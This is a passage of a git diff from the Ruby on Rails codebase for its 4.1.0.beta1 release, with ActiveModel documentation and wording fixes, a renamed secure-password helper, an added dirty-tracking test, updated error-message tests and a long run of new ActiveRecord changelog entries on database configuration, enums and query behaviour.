+ # If the <tt>:strict</tt> option is set to +true+, it will raise
# ActiveModel::StrictValidationFailed instead of adding the error.
# <tt>:strict</tt> option can also be set to any other exception.
#
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 46b446dc08..c6bc18b008 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -13,7 +13,7 @@ module ActiveModel
#
# These tests do not attempt to determine the semantic correctness of the
# returned values. For instance, you could implement <tt>valid?</tt> to
- # always return true, and the tests would pass. It is up to you to ensure
+ # always return +true+, and the tests would pass. It is up to you to ensure
# that the values are semantically meaningful.
#
# Objects you pass in are expected to return a compliant object from a call
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index f048dda5c6..63716eebb1 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,6 +1,6 @@
module ActiveModel
- # == Active \Model Basic \Model
+ # == Active \Model \Basic \Model
#
# Includes the required interface for an object to interact with
# <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 7e694b5c50..d824a66784 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -9,7 +9,7 @@ module ActiveModel
module ClassMethods
# Adds methods to set and authenticate against a BCrypt password.
- # This mechanism requires you to have a password_digest attribute.
+ # This mechanism requires you to have a +password_digest+ attribute.
#
# Validations for presence of password on create, confirmation of password
# (using a +password_confirmation+ attribute) are automatically added. If
@@ -57,9 +57,9 @@ module ActiveModel
include InstanceMethodsOnActivation
if options.fetch(:validations, true)
- validates_confirmation_of :password, if: :should_confirm_password?
+ validates_confirmation_of :password, if: :password_confirmation_required?
validates_presence_of :password, on: :create
- validates_presence_of :password_confirmation, if: :should_confirm_password?
+ validates_presence_of :password_confirmation, if: :password_confirmation_required?
before_create { raise "Password digest missing on new record" if password_digest.blank? }
end
@@ -113,9 +113,9 @@ module ActiveModel
private
- def should_confirm_password?
- password_confirmation && password.present?
- end
+ def password_confirmation_required?
+ password_confirmation && password.present?
+ end
end
end
end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index fdb06aebb9..36a6c00290 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -128,7 +128,7 @@ module ActiveModel
# retrieve the value for a given attribute differently:
#
# class MyClass
- # include ActiveModel::Validations
+ # include ActiveModel::Serialization
#
# def initialize(data = {})
# @data = data
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 05e2e089e5..c58e73f6a7 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -2,7 +2,7 @@ require 'active_support/json'
module ActiveModel
module Serializers
- # == Active Model JSON Serializer
+ # == Active \Model \JSON \Serializer
module JSON
extend ActiveSupport::Concern
include ActiveModel::Serialization
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 2864c2ba11..7f99536dbb 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/slice'
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 31c2245265..6be44b5d63 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/except'
module ActiveModel
- # == Active \Model Validations
+ # == Active \Model \Validations
#
# Provides a full validation framework to your objects.
#
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index fde53b9f89..edfffdd3ce 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,6 +1,6 @@
module ActiveModel
module Validations
- # == Active \Model Validation Callbacks
+ # == Active \Model \Validation \Callbacks
#
# Provides an interface for any class to have +before_validation+ and
# +after_validation+ callbacks.
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index ddfd8a342e..a96b30cadd 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,6 +1,6 @@
module ActiveModel
- # == Active \Model Length \Validator
+ # == Active \Model Length Validator
module Validations
class LengthValidator < EachValidator # :nodoc:
MESSAGES = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 9a1ff2ad39..bf588b7bd0 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
# validates :terms, acceptance: true
# validates :password, confirmation: true
# validates :username, exclusion: { in: %w(admin superuser) }
- # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
# validates :age, inclusion: { in: 0..9 }
# validates :first_name, length: { maximum: 30 }
# validates :age, numericality: true
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 690856aee1..bddacc8c45 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -61,7 +61,7 @@ module ActiveModel
# end
#
# Note that the validator is initialized only once for the whole application
- # lifecycle, and not on each validation run.
+ # life cycle, and not on each validation run.
#
# The easiest way to add custom validators for validating individual attributes
# is with the convenient <tt>ActiveModel::EachValidator</tt>.
@@ -83,7 +83,7 @@ module ActiveModel
# end
#
# It can be useful to access the class that is using that validator when there are prerequisites such
- # as an +attr_accessor+ being present. This class is accessable via +options[:class]+ in the constructor.
+ # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
# To setup your validator override the constructor.
#
# class MyValidator < ActiveModel::Validator
@@ -109,7 +109,7 @@ module ActiveModel
deprecated_setup(options)
end
- # Return the kind for this validator.
+ # Returns the kind for this validator.
#
# PresenceValidator.new.kind # => :presence
# UniquenessValidator.new.kind # => :uniqueness
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index 86340bba37..58ba3ab9b2 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,7 +1,7 @@
module ActiveModel
# Returns the version of the currently loaded ActiveModel as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index a90d0b1299..54427a1513 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -67,6 +67,16 @@ class DirtyTest < ActiveModel::TestCase
assert_equal [nil, "John"], @model.changes['name']
end
+ test "checking if an attribute has changed to a particular value" do
+ @model.name = "Ringo"
+ assert @model.name_changed?(from: nil, to: "Ringo")
+ assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+ assert @model.name_changed?(to: "Ringo")
+ assert_not @model.name_changed?(to: "Pete")
+ assert @model.name_changed?(from: nil)
+ assert_not @model.name_changed?(from: "Pete")
+ end
+
test "changes accessible through both strings and symbols" do
@model.name = "David"
assert_not_nil @model.changes[:name]
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 4e07e0e00b..bbd186d83d 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name == nil
+ errors.add(:name, "cannot be nil") if name == nil
end
def read_attribute_for_validation(attr)
@@ -104,8 +104,8 @@ class ErrorsTest < ActiveModel::TestCase
test "adding errors using conditionals with Person#validate!" do
person = Person.new
person.validate!
- assert_equal ["name can not be nil"], person.errors.full_messages
- assert_equal ["can not be nil"], person.errors[:name]
+ assert_equal ["name cannot be nil"], person.errors.full_messages
+ assert_equal ["cannot be nil"], person.errors[:name]
end
test "assign error" do
@@ -116,8 +116,8 @@ class ErrorsTest < ActiveModel::TestCase
test "add an error message on a specific attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_equal ["can not be blank"], person.errors[:name]
+ person.errors.add(:name, "cannot be blank")
+ assert_equal ["cannot be blank"], person.errors[:name]
end
test "add an error with a symbol" do
@@ -129,15 +129,15 @@ class ErrorsTest < ActiveModel::TestCase
test "add an error with a proc" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
- assert_equal ["can not be blank"], person.errors[:name]
+ assert_equal ["cannot be blank"], person.errors[:name]
end
test "added? detects if a specific error was added to the object" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert person.errors.added?(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
test "added? handles symbol message" do
@@ -148,7 +148,7 @@ class ErrorsTest < ActiveModel::TestCase
test "added? handles proc messages" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
assert person.errors.added?(:name, message)
end
@@ -161,9 +161,9 @@ class ErrorsTest < ActiveModel::TestCase
test "added? matches the given message when several errors are present for the same attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
person.errors.add(:name, "is invalid")
- assert person.errors.added?(:name, "can not be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
test "added? returns false when no errors are present" do
@@ -174,52 +174,52 @@ class ErrorsTest < ActiveModel::TestCase
test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
person = Person.new
person.errors.add(:name, "is invalid")
- assert !person.errors.added?(:name, "can not be blank")
+ assert !person.errors.added?(:name, "cannot be blank")
end
test "size calculates the number of error messages" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
assert_equal 1, person.errors.size
end
test "to_a returns the list of errors with complete messages containing the attribute names" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
end
test "to_hash returns the error messages hash" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_equal({ name: ["can not be blank"] }, person.errors.to_hash)
+ person.errors.add(:name, "cannot be blank")
+ assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
end
test "full_messages creates a list of error messages with the attribute name included" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
end
test "full_messages_for contains all the error messages for the given attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages_for(:name)
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
end
test "full_messages_for does not contain error messages from other attributes" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:email, "can not be blank")
- assert_equal ["name can not be blank"], person.errors.full_messages_for(:name)
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:email, "cannot be blank")
+ assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
end
test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
assert_equal [], person.errors.full_messages_for(:email)
end
@@ -230,22 +230,22 @@ class ErrorsTest < ActiveModel::TestCase
test "full_message returns the given message with the attribute name included" do
person = Person.new
- assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
- assert_equal "name_test can not be blank", person.errors.full_message(:name_test, "can not be blank")
+ assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+ assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
end
test "as_json creates a json formatted representation of the errors hash" do
person = Person.new
person.validate!
- assert_equal({ name: ["can not be nil"] }, person.errors.as_json)
+ assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
end
test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
person = Person.new
person.validate!
- assert_equal({ name: ["name can not be nil"] }, person.errors.as_json(full_messages: true))
+ assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
end
test "generate_message works without i18n_scope" do
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 7a63674757..522a7cebb4 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -7,4 +7,7 @@ require 'active_support/core_ext/string/access'
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
require 'active_support/testing/autorun'
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 41d0b2263e..0314803af6 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -2,7 +2,6 @@ require 'cases/helper'
require 'models/user'
require 'models/oauthed_user'
require 'models/visitor'
-require 'models/administrator'
class SecurePasswordTest < ActiveModel::TestCase
setup do
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
deleted file mode 100644
index 2f3aff290c..0000000000
--- a/activemodel/test/models/administrator.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Administrator
- extend ActiveModel::Callbacks
- include ActiveModel::Validations
- include ActiveModel::SecurePassword
-
- define_model_callbacks :create
-
- attr_accessor :name, :password_digest
-
- has_secure_password
-end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 34603b7f23..d9f8ee7097 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,3 +1,427 @@
+* Currently Active Record can be configured via the environment variable
+ `DATABASE_URL` or by manually injecting a hash of values which is what Rails does,
+ reading in `database.yml` and setting Active Record appropriately. Active Record
+ expects to be able to use `DATABASE_URL` without the use of Rails, and we cannot
+ rip out this functionality without deprecating. This presents a problem though
+ when both config is set, and a `DATABASE_URL` is present. Currently the
+ `DATABASE_URL` should "win" and none of the values in `database.yml` are
+ used. This is somewhat unexpected, if one were to set values such as
+ `pool` in the `production:` group of `database.yml` they are ignored.
+
+ There are many ways that Active Record initiates a connection today:
+
+ - Stand Alone (without rails)
+ - `rake db:<tasks>`
+ - `ActiveRecord.establish_connection`
+
+ - With Rails
+ - `rake db:<tasks>`
+ - `rails <server> | <console>`
+ - `rails dbconsole`
+
+ Now all of these behave exactly the same way. The best way to do
+ this is to put all of this logic in one place so it is guaranteed to be used.
+
+ Here is the matrix of how this behavior works:
+
+ ```
+ No database.yml
+ No DATABASE_URL
+ => Error
+ ```
+
+ ```
+ database.yml present
+ No DATABASE_URL
+ => Use database.yml configuration
+ ```
+
+ ```
+ No database.yml
+ DATABASE_URL present
+ => use DATABASE_URL configuration
+ ```
+
+ ```
+ database.yml present
+ DATABASE_URL present
+ => Merged into `url` sub key. If both specify `url` sub key, the `database.yml` `url`
+ sub key "wins". If other paramaters `adapter` or `database` are specified in YAML,
+ they are discarded as the `url` sub key "wins".
+ ```
+
+ Current implementation uses `ActiveRecord::Base.configurations` to resolve and merge
+ all connection information before returning. This is achieved through a utility
+ class: `ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig`.
+
+ To understand the exact behavior of this class, it is best to review the
+ behavior in `activerecord/test/cases/connection_adapters/connection_handler_test.rb`
+
+ *Richard Schneeman*
+
+* Make `change_column_null` revertable. Fixes #13576.
+
+ *Yves Senn*, *Nishant Modak*, *Prathamesh Sonpatki*
+
+* Don't create/drop the test database if RAILS_ENV is specified explicitly.
+
+ Previously, when the environment was development, we would always
+ create or drop both the test and development databases.
+
+ Now, if RAILS_ENV is explicitly defined as development, we don't create
+ the test database.
+
+ *Damien Mathieu*
+
+* Initialize version on Migration objects so that it can be used in a migration,
+ and it will be included in the announce message.
+
+ *Dylan Thacker-Smith*
+
+* `change_table` now uses the current adapter's `update_table_definition`
+ method to retrieve a specific table definition.
+ This ensures that `change_table` and `create_table` will use
+ similar objects.
+
+ Fixes #13577 and #13503.
+
+ *Nishant Modak*, *Prathamesh Sonpatki*, *Rafael Mendonça França*
+
+* Fixed ActiveRecord::Store nil conversion TypeError when using YAML coder.
+ In case the YAML passed as paramter is nil, uses an empty string.
+
+ Fixes #13570.
+
+ *Thales Oliveira*
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+ and `ActiveRecord::Base.symbolized_sti_name` without replacement.
+
+ *Yves Senn*
+
+* Since the `test_help.rb` file in Railties now automatically maintains
+ your test schema, the `rake db:test:*` tasks are deprecated. This
+ doesn't stop you manually running other tasks on your test database
+ if needed:
+
+ rake db:schema:load RAILS_ENV=test
+
+ *Jon Leighton*
+
+* Fix presence validator for association when the associated record responds to `to_a`.
+
+ *gmarik*
+
+* Fixed regression on preload/includes with multiple arguments failing in certain conditions,
+ raising a NoMethodError internally by calling `reflect_on_association` for `NilClass:Class`.
+
+ Fixes #13437.
+
+ *Vipul A M*, *khustochka*
+
+* Add the ability to nullify the `enum` column.
+
+ Example:
+
+ class Conversation < ActiveRecord::Base
+ enum gender: [:female, :male]
+ end
+
+ Conversation::GENDER # => { female: 0, male: 1 }
+
+ # conversation.update! gender: 0
+ conversation.female!
+ conversation.female? # => true
+ conversation.gender # => "female"
+
+ # conversation.update! gender: nil
+ conversation.gender = nil
+ conversation.gender.nil? # => true
+ conversation.gender # => nil
+
+ *Amr Tamimi*
+
+* Connection specification now accepts a "url" key. The value of this
+ key is expected to contain a database URL. The database URL will be
+ expanded into a hash and merged.
+
+ *Richard Schneeman*
+
+* An `ArgumentError` is now raised on a call to `Relation#where.not(nil)`.
+
+ Example:
+
+ User.where.not(nil)
+
+ # Before
+ # => 'SELECT `users`.* FROM `users` WHERE (NOT (NULL))'
+
+ # After
+ # => ArgumentError, 'Invalid argument for .where.not(), got nil.'
+
+ *Kuldeep Aggarwal*
+
+* Deprecated use of string argument as a configuration lookup in
+ `ActiveRecord::Base.establish_connection`. Instead, a symbol must be given.
+
+ *José Valim*
+
+* Fixed `update_column`, `update_columns`, and `update_all` to correctly serialize
+ values for `array`, `hstore` and `json` column types in PostgreSQL.
+
+ Fixes #12261.
+
+ *Tadas Tamosauskas*, *Carlos Antonio da Silva*
+
+* Do not consider PostgreSQL array columns as number or text columns.
+
+ The code uses these checks in several places to know what to do with a
+ particular column, for instance AR attribute query methods has a branch
+ like this:
+
+ if column.number?
+ !value.zero?
+ end
+
+ This should never be true for array columns, since it would be the same
+ as running [].zero?, which results in a NoMethodError exception.
+
+ Fixing this by ensuring that array columns in PostgreSQL never return
+ true for number?/text? checks.
+
+ *Carlos Antonio da Silva*
+
+* When connecting to a non-existant database, the error:
+ `ActiveRecord::NoDatabaseError` will now be raised. When being used with Rails
+ the error message will include information on how to create a database:
+ `rake db:create`. Supported adapters: postgresql, mysql, mysql2, sqlite3
+
+ *Richard Schneeman*
+
+* Do not raise `'cannot touch on a new record object'` exception on destroying
+ already destroyed `belongs_to` association with `touch: true` option.
+
+ Fixes #13445.
+
+ Example:
+
+ # Given Comment has belongs_to :post, touch: true
+ comment.post.destroy
+ comment.destroy # no longer raises an error
+
+ *Paul Nikitochkin*
+
+* Fix a bug when assigning an array containing string numbers to a
+ PostgreSQL integer array column.
+
+ Fixes #13444.
+
+ Example:
+
+ # Given Book#ratings is of type :integer, array: true
+ Book.new(ratings: [1, 2]) # worked before
+ Book.new(ratings: ['1', '2']) # now works as well
+
+ *Damien Mathieu*
+
+* Improve the default select when `from` is used.
+
+ Previously, if you did something like Topic.from(:temp_topics), it
+ would generate SQL like:
+
+ SELECT topics.* FROM temp_topics;
+
+ Which is will cause an error since there's not a topics table to select
+ from.
+
+ Now the default if you use from is just `*`:
+
+ SELECT * FROM temp_topics;
+
+ *Cody Cutrer*
+
+* Fix `PostgreSQL` insert to properly extract table name from multiline string SQL.
+
+ Previously, executing an insert SQL in `PostgreSQL` with a command like this:
+
+ insert into articles(
+ number)
+ values(
+ 5152
+ )
+
+ would not work because the adapter was unable to extract the correct `articles`
+ table name.
+
+ *Kuldeep Aggarwal*
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+ to an `Array` by calling `#to_a` before using these methods.
+
+ It intends to prevent odd bugs and confusion in code that call mutator
+ methods directly on the `Relation`.
+
+ Example:
+
+ # Instead of this
+ Author.where(name: 'Hank Moody').compact!
+
+ # Now you have to do this
+ authors = Author.where(name: 'Hank Moody').to_a
+ authors.compact!
+
+ *Lauro Caetano*
+
+* Better support for `where()` conditions that use a `belongs_to`
+ association name.
+
+ Using the name of an association in `where` previously worked only
+ if the value was a single `ActiveRecord::Base` object. e.g.
+
+ Post.where(author: Author.first)
+
+ Any other values, including `nil`, would cause invalid SQL to be
+ generated. This change supports arguments in the `where` query
+ conditions where the key is a `belongs_to` association name and the
+ value is `nil`, an `Array` of `ActiveRecord::Base` objects, or an
+ `ActiveRecord::Relation` object.
+
+ class Post < ActiveRecord::Base
+ belongs_to :author
+ end
+
+ `nil` value finds records where the association is not set:
+
+ Post.where(author: nil)
+ # SELECT "posts".* FROM "posts" WHERE "posts"."author_id" IS NULL
+
+ `Array` values find records where the association foreign key
+ matches the ids of the passed ActiveRecord models, resulting
+ in the same query as `Post.where(author_id: [1,2])`:
+
+ authors_array = [Author.find(1), Author.find(2)]
+ Post.where(author: authors_array)
+ # SELECT "posts".* FROM "posts" WHERE "posts"."author_id" IN (1, 2)
+
+ `ActiveRecord::Relation` values find records using the same
+ query as `Post.where(author_id: Author.where(last_name: "Emde"))`
+
+ Post.where(author: Author.where(last_name: "Emde"))
+ # SELECT "posts".* FROM "posts"
+ # WHERE "posts"."author_id" IN (
+ # SELECT "authors"."id" FROM "authors"
+ # WHERE "authors"."last_name" = 'Emde')
+
+ Polymorphic `belongs_to` associations will continue to be handled
+ appropriately, with the polymorphic `association_type` field added
+ to the query to match the base class of the value. This feature
+ previously only worked when the value was a single `ActveRecord::Base`.
+
+ class Post < ActiveRecord::Base
+ belongs_to :author, polymorphic: true
+ end
+
+ Post.where(author: Author.where(last_name: "Emde"))
+ # Generates a query similar to:
+ Post.where(author_id: Author.where(last_name: "Emde"), author_type: "Author")
+
+ *Martin Emde*
+
+* Respect temporary option when dropping tables with MySQL.
+
+ Normal DROP TABLE also works, but commits the transaction.
+
+ drop_table :temporary_table, temporary: true
+
+ *Cody Cutrer*
+
+* Add option to create tables from a query.
+
+ create_table(:long_query, temporary: true,
+ as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+
+ Generates:
+
+ CREATE TEMPORARY TABLE long_query AS
+ SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+
+ *Cody Cutrer*
+
+* `db:test:clone` and `db:test:prepare` must load Rails environment.
+
+ `db:test:clone` and `db:test:prepare` use `ActiveRecord::Base`. configurations,
+ so we need to load the Rails environment, otherwise the config wont be in place.
+
+ *arthurnn*
+
+* Use the right column to type cast grouped calculations with custom expressions.
+
+ Fixes #13230.
+
+ Example:
+
+ # Before
+ Account.group(:firm_name).sum('0.01 * credit_limit')
+ # => { '37signals' => '0.5' }
+
+ # After
+ Account.group(:firm_name).sum('0.01 * credit_limit')
+ # => { '37signals' => 0.5 }
+
+ *Paul Nikitochkin*
+
+* Polymorphic `belongs_to` associations with the `touch: true` option set update the timestamps of
+ the old and new owner correctly when moved between owners of different types.
+
+ Example:
+
+ class Rating < ActiveRecord::Base
+ belongs_to :rateable, polymorphic: true, touch: true
+ end
+
+ rating = Rating.create rateable: Song.find(1)
+ rating.update_attributes rateable: Book.find(2) # => timestamps of Song(1) and Book(2) are updated
+
+ *Severin Schoepke*
+
+* Improve formatting of migration exception messages: make them easier to read
+ with line breaks before/after, and improve the error for pending migrations.
+
+ *John Bachir*
+
+* Fix `last` with `offset` to return the proper record instead of always the last one.
+
+ Example:
+
+ Model.offset(4).last
+ # => returns the 4th record from the end.
+
+ Fixes #7441.
+
+ *kostya*, *Lauro Caetano*
+
+* `type_to_sql` returns a `String` for unmapped columns. This fixes an error
+ when using unmapped array types in PG
+
+ Example:
+
+ change_colum :table, :column, :bigint, array: true
+
+ Fixes #13146.
+
+ *Jens Fahnenbruck*, *Yves Senn*
+
+* Fix `QueryCache` to work with nested blocks, so that it will only clear the existing cache
+ after leaving the outer block instead of clearing it right after the inner block is finished.
+
+ *Vipul A M*
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on the
+ class object returned by `ActiveRecord::FixtureSet.context_class`.
+
+ *Victor Costan*
+
* Previously, the `has_one` macro incorrectly accepted the `counter_cache`
option, but never actually supported it. Now it will raise an `ArgumentError`
when using `has_one` with `counter_cache`.
@@ -381,12 +805,6 @@
*Paul Nikitochkin*
-* Deprecate the delegation of Array bang methods for associations.
- To use them, instead first call `#to_a` on the association to access the
- array to be acted on.
-
- *Ben Woosley*
-
* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
query to fetch results rather than loading the entire collection.
@@ -734,11 +1152,11 @@
*Neeraj Singh*
-* Removed deprecated method `scoped`
+* Removed deprecated method `scoped`.
*Neeraj Singh*
-* Removed deprecated method `default_scopes?`
+* Removed deprecated method `default_scopes?`.
*Neeraj Singh*
@@ -773,7 +1191,7 @@
*Jon Leighton*
-* Remove `activerecord-deprecated_finders` as a dependency
+* Remove `activerecord-deprecated_finders` as a dependency.
*Łukasz Strzałkowski*
@@ -924,7 +1342,7 @@
*John Wang*
-* Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432
+* Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432.
*Adam Anderson*
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 0d7fb865e2..2950f05b11 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index e1c5b05c36..d397c9e016 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -24,5 +24,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
s.add_dependency 'activemodel', version
- s.add_dependency 'arel', '~> 5.0.0'
+ s.add_dependency 'arel', '~> 5.0.0'
end
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index cbac2ef3c6..f856c482d6 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 74e2774626..714f623af3 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -75,13 +75,13 @@ module ActiveRecord
class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+ super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
end
end
class ReadOnlyAssociation < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+ super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
end
end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 02f45731c9..67ea489b22 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -69,7 +69,7 @@ module ActiveRecord
# The target is stale if the target no longer points to the record(s) that the
# relevant foreign_key(s) refers to. If stale, the association accessor method
# on the owner will reload the target. It's up to subclasses to implement the
- # state_state method if relevant.
+ # stale_state method if relevant.
#
# Note that if the target has not been loaded, it is not considered stale.
def stale_target?
@@ -104,11 +104,12 @@ module ActiveRecord
# Set the inverse association, if possible
def set_inverse_instance(record)
- if record && invertible_for?(record)
+ if invertible_for?(record)
inverse = record.association(inverse_reflection_for(record).name)
